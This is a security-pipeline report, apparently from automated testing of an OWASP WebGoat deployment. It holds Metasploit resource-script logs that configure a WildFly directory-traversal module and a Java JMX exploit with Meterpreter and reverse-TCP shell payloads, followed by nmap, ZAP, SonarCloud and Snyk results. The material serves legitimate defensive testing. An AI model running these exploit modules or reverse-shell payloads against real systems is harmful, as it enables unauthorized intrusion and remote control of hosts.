SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads (max one per host)

TRAVERSAL_DEPTH 1 yes Traversal depth

VHOST no HTTP server virtual host

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*wildfly*dir_traversal.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*wildfly*dir_traversal.rc)> run

[-] Msf::OptionValidateError The following options failed to validate: RHOSTS

resource (./src/exploit*wildfly*dir_traversal.rc)> exit

Sample 2 : Running Java JMX Reverse HTTPS command shell exploit... >>>

[*] Processing ./src/exploit*java*jmx*reverse*https.rc for ERB directives.

resource (./src/exploit*java*jmx*reverse*https.rc)> use exploit/multi/misc/java*jmx*server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> show options

Module options (exploit/multi/misc/java*jmx*server):

Name Current Setting Required Description

---- --------------- -------- -----------

JMXRMI jmxrmi yes The name where the JMX RMI interface is bound

JMX_PASSWORD no The password to interact with an authenticated JMX endpoint

JMX_ROLE no The role to interact with an authenticated JMX endpoint

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSLCert no Path to a custom SSL certificate (default is randomly generated)

URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

LHOST 172.17.0.2 yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

---

0 Generic (Java Payload)

View the full module info with the info, or info -d command.

[*] resource (./src/exploit*java*jmx*reverse*https.rc)> Ruby Code (57 bytes)

RHOSTS =>

resource (./src/exploit*java*jmx*reverse*https.rc)> use payload/generic/shell*reverse*tcp

resource (./src/exploit*java*jmx*reverse*https.rc)> exploit

[*] Payload Handler Started as Job

resource (./src/exploit*java*jmx*reverse*https.rc)> exit

==========

Nmap-ParrotOS Scan output

GitHub Issue number # 481

GitHub Issue URL : Here!

parrotOS
nmap

Nmap vulnerability scanning
for 20.198.113.88

Making sure that parrot OS docker image has all the latest updates...

Get:1 https://deb.parrot.sh/parrot parrot InRelease [14.6 kB]

Get:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease [14.4 kB]

Get:3 https://deb.parrot.sh/parrot parrot-backports InRelease [14.6 kB]

Get:4 https://deb.parrot.sh/parrot parrot/main amd64 Packages [17.7 MB]

Get:5 https://deb.parrot.sh/parrot parrot/contrib amd64 Packages [115 kB]

Get:6 https://deb.parrot.sh/parrot parrot/non-free amd64 Packages [215 kB]

Get:7 https://deb.parrot.sh/direct/parrot parrot-security/main amd64 Packages [530 kB]

Get:8 https://deb.parrot.sh/direct/parrot parrot-security/non-free amd64 Packages [884 B]

Get:9 https://deb.parrot.sh/parrot parrot-backports/main amd64 Packages [1149 kB]

Get:10 https://deb.parrot.sh/parrot parrot-backports/contrib amd64 Packages [22.6 kB]

Get:11 https://deb.parrot.sh/parrot parrot-backports/non-free amd64 Packages [50.9 kB]

Fetched 19.9 MB in 2s (10.5 MB/s)

Reading package lists...

Building dependency tree...

Reading state information...

31 packages can be upgraded. Run 'apt list --upgradable' to see them.

Reading package lists...

Building dependency tree...

Reading state information...

Calculating upgrade...

The following packages will be upgraded:

bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file

libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2

libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 17.1 MB of archives.
After this operation, 51.2 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Reading package lists...
Building dependency tree...
Reading state information...
Calculating upgrade...
The following packages will be upgraded:
bind9-dnsutils bind9-host bind9-libs cpio curl dnsutils dpkg dpkg-dev file
libaom0 libcups2 libcurl3-gnutls libcurl4 libdpkg-perl libgssapi-krb5-2
libjs-sphinxdoc libjson-c5 libk5crypto3 libkrb5-3 libkrb5support0
libmagic-mgc libmagic1 libssl1.1 libwebp6 libwebpdemux2 libwebpmux3
openssh-client openssh-server openssh-sftp-server openssl
python3-typing-extensions
31 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 17.1 MB of archives.
After this operation, 51.2 kB disk space will be freed.
Do you want to continue? [Y/n] Abort.
Hit:1 https://deb.parrot.sh/parrot parrot InRelease
Hit:2 https://deb.parrot.sh/direct/parrot parrot-security InRelease
Hit:3 https://deb.parrot.sh/parrot parrot-backports InRelease
Reading package lists...
Building dependency tree...
Reading state information...
31 packages can be upgraded. Run 'apt list --upgradable' to see them.
Running basic nmap scan...
Starting Nmap 7.92 (https://nmap.org) at 2023-10-07 09:16 UTC

Nmap scan report for 20.198.113.88

Host is up (0.20s latency).

Not shown: 65530 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 256 9c:33:af:47:ab:d6:58:9f:8f:92:7d:48:a6:d9:dd:7f (ECDSA)

|_ 256 41:2e:7b:6f:81:bb:a1:9d:9f:02:51:08:b6:e8:3f:c9 (ED25519)

80/tcp closed http

443/tcp closed https

8080/tcp open http-proxy

|_http-title: Site doesn't have a title.

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 07 Oct 2023 09:20:21 GMT

| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, Socks5, TLSSessionReq, TerminalServerCookie, WMSRequest, oracle-tns:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

| Date: Sat, 07 Oct 2023 09:20:19 GMT

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Connection: close

| Content-Length: 0

|_ Date: Sat, 07 Oct 2023 09:20:20 GMT

9090/tcp open zeus-admin?

| fingerprint-strings:

| GenericLines, RTSPRequest, SqueezeCenter_CLI, WMSRequest, ibm-db2-das:

| HTTP/1.1 400 Bad Request

| Content-Length: 0

| Connection: close

| GetRequest:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 07 Oct 2023 09:20:19 GMT

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-07T09:20:19.895+00:00",

| "status" : 404,

| "error" : "Not Found",

| "path" : "/"

| HTTPOptions:

| HTTP/1.1 404 Not Found

| Expires: 0

| Cache-Control: no-cache, no-store, max-age=0, must-revalidate

| X-XSS-Protection: 1; mode=block

| Pragma: no-cache

| X-Frame-Options: DENY

| Date: Sat, 07 Oct 2023 09:20:37 GMT

| Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS, PATCH

| Connection: close

| Vary: Origin

| Vary: Access-Control-Request-Method

| Vary: Access-Control-Request-Headers

| X-Content-Type-Options: nosniff

| Content-Type: application/json

| "timestamp" : "2023-10-07T09:20:37.453+00:00",

| "status" : 404,

| "error" : "Not Found",

|_ "path" : "/"

2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port8080-TCP:V=7.92%I=7%D=10/7%Time=652122D3%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,65,"HTTP/1.1 404 Not Found Connection: close

SF: Content-Length: 0 Date: Sat, 07 Oct 2023 09:20:1

SF:9 GMT

")%r(HTTPOptions,65,"HTTP/1.1 404 Not Found

SF: Connection: close Content-Length: 0 Date: Sat, 07\x

SF:20Oct 2023 09:20:20 GMT

")%r(RTSPRequest,42,"HTTP/1.1\n

SF:x20400 Bad Request Content-Length: 0 Connection: clos

SF:e

")%r(FourOhFourRequest,65,"HTTP/1.1 404 Not Found \n

SF:nConnection: close Content-Length: 0 Date: Sat, 07

SF:0Oct 2023 09:20:21 GMT

")%r(Socks5,42,"HTTP/1.1 400

SF: Bad Request Content-Length: 0 Connection: close \n

SF:r ")%r(GenericLines,42,"HTTP/1.1 400 Bad Request Content-

SF:Length: 0 Connection: close

")%r(Help,42,"HTTP/1.1

SF:400 Bad Request Content-Length: 0 Connection: close

SF:

")%r(SSLSessionReq,42,"HTTP/1.1 400 Bad Request Cont

SF:ent-Length: 0 Connection: close

")%r(TerminalServerCook

SF:ie,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(TLSSessionReq,42,"HTTP/1.1 400 Ba

SF:d Request Content-Length: 0 Connection: close

")%

SF:r(Kerberos,42,"HTTP/1.1 400 Bad Request Content-Length:

SF:00 Connection: close

")%r(SMBProgNeg,42,"HTTP/1.1 400\n

SF:x20Bad Request Content-Length: 0 Connection: close

SF: ")%r(LPDString,42,"HTTP/1.1 400 Bad Request Content-Leng

SF:th: 0 Connection: close

")%r(LDAPSearchReq,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(SIPOptions,42,"HTTP/1.1 400 Bad Request Co

SF:ntent-Length: 0 Connection: close

")%r(WMSRequest,42,"H

SF:TTP/1.1 400 Bad Request Content-Length: 0 Connection

SF:: close

")%r(oracle-tns,42,"HTTP/1.1 400 Bad Reques

SF:t Content-Length: 0 Connection: close

");

==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============

SF-Port9090-TCP:V=7.92%I=7%D=10/7%Time=652122D3%P=x86_64-pc-linux-gnu%r(Ge

SF:tRequest,1EF,"HTTP/1.1 404 Not Found Expires: 0 Cach

SF:e-Control: no-cache, no-store, max-age=0, must-revalidate

SF: X-XSS-Protection: 1; mode=block Pragma: no-cache X-Fra

SF:me-Options: DENY Date: Sat, 07 Oct 2023 09:20:19\x

SF:20GMT Connection: close Vary: Origin Vary: Access-Con

SF:trol-Request-Method Vary: Access-Control-Request-Headers X-Con

SF:tent-Type-Options: nosniff Content-Type: application/json \n

SF:r { \"timestamp\" : \"2023-10-07T09:20:19.895+00:00\"

SF:, \"status\" : 404, \"error\" : \"Not

SF:Found\", \"path\" : \"/\" }")%r(WMSRequest,42,"HTTP/1.

SF:1 400 Bad Request Content-Length: 0 Connection: cl

SF:ose

")%r(ibm-db2-das,42,"HTTP/1.1 400 Bad Request C

SF:ontent-Length: 0 Connection: close

")%r(SqueezeCenter_C

SF:LI,42,"HTTP/1.1 400 Bad Request Content-Length: 0 Co

SF:nnection: close

")%r(GenericLines,42,"HTTP/1.1 400 Bad

SF: Request Content-Length: 0 Connection: close

")%r

SF:(HTTPOptions,22B,"HTTP/1.1 404 Not Found Expires: 0

SF:Cache-Control: no-cache, no-store, max-age=0, must-revalida

SF:te X-XSS-Protection: 1; mode=block Pragma: no-cache X

SF:-Frame-Options: DENY Date: Sat, 07 Oct 2023 09:20:

SF:37 GMT Allow: GET, HEAD, POST, PUT, DELETE, TRA

SF:CE, OPTIONS, PATCH Connection: close Vary: Origin

SF:Vary: Access-Control-Request-Method Vary: Access-Control-Reque

SF:st-Headers X-Content-Type-Options: nosniff Content-Type: ap

SF:plication/json

{ \"timestamp\" : \"2023-10-07T09:

SF:20:37.453+00:00\", \"status\" : 404, \"error\n

SF:" : \"Not Found\", \"path\" : \"/\" }")%r(RTSP

SF:Request,42,"HTTP/1.1 400 Bad Request Content-Length: 0\n

SF:r Connection: close

");

Device type: general purpose|firewall|storage-misc

Running (JUST GUESSING): Linux 4.X|2.6.X|3.X (86%), WatchGuard Fireware 11.X (86%), Synology DiskStation Manager 5.X (85%)

OS CPE: cpe:/o:linux:linux*kernel:4.0 cpe:/o:linux:linux*kernel:2.6.32 cpe:/o:linux:linux*kernel:3.10 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux*kernel cpe:/a:synology:diskstation_manager:5.1

Aggressive OS guesses: Linux 4.0 (86%), Linux 2.6.32 (86%), Linux 2.6.32 or 3.10 (86%), Linux 3.5 (86%), WatchGuard Fireware 11.8 (86%), Synology DiskStation Manager 5.1 (85%), Linux 2.6.35 (85%), Linux 2.6.39 (85%), Linux 3.10 - 3.12 (85%), Linux 4.2 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 25 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)

HOP RTT ADDRESS

1 0.02 ms 172.17.0.1

2 ... 24

25 194.53 ms 20.198.113.88

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 363.00 seconds

Running vulnerability scanning using basic nmap scripts - SQL Injection...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-07 09:22 UTC

Nmap scan report for 20.198.113.88

Host is up (0.19s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds

Running vulnerability scanning using CSS nmap script...

Starting Nmap 7.92 (https://nmap.org) at 2023-10-07 09:22 UTC

Nmap scan report for 20.198.113.88

Host is up (0.20s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

ZAP Full Scan Report

GitHub Issue number # 480

GitHub Issue URL : Here!

- Site: http://20.198.113.88:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.113.88:8080/WebGoat/login
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **Sec-Fetch-Site Header is Missing** [90005] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **Sec-Fetch-User Header is Missing** [90005] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/login
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6440256303

ZAP Full Scan Report

GitHub Issue number # 479

GitHub Issue URL : Here!

- Site: http://20.198.113.88:8080 **New Alerts**
  - **Absence of Anti-CSRF Tokens** [10202] total: 1:
    - http://20.198.113.88:8080/WebGoat/registration
  - **Anti-CSRF Tokens Check** [20012] total: 1:
    - http://20.198.113.88:8080/WebGoat/registration
  - **Content Security Policy (CSP) Header Not Set** [10038] total: 1:
    - http://20.198.113.88:8080/WebGoat/registration
  - **Permissions Policy Header Not Set** [10063] total: 1:
    - http://20.198.113.88:8080/WebGoat/registration
  - **Sec-Fetch-Dest Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/registration
  - **Sec-Fetch-Mode Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/registration
  - **Sec-Fetch-Site Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/registration
  - **Sec-Fetch-User Header is Missing** [90005] total: 3:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/WebGoat/registration
  - **Storable and Cacheable Content** [10049] total: 4:
    - http://20.198.113.88:8080/
    - http://20.198.113.88:8080/robots.txt
    - http://20.198.113.88:8080/sitemap.xml
    - http://20.198.113.88:8080/WebGoat/registration
  - **User Agent Fuzzer** [10104] total: 12:
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - http://20.198.113.88:8080/WebGoat
    - ..

View the following link to download the report. RunnerID:6440256303

Sonar Cloud Code Scan Report

GitHub Issue number # 478

GitHub Issue URL : Here!

SonarQube Cloud code scan

SonarCloud Scan for OWASP WebGoat

Go to https://sonarcloud.io/project/overview?id=pradyumna-muppirala_WebGoatSAST for full report of SonarCloud with Github SSO.

Snyk Report

GitHub Issue number # 477

GitHub Issue URL : Here!

Snyk_scan

Snyk Scan for OWASP WebGoat

Go to https://app.snyk.io/org/pradyumna-muppirala for full report of Snyk with Github SSO.

Conclusion: This is the end of the report. The above logs show the execution traces for various security scanning tools.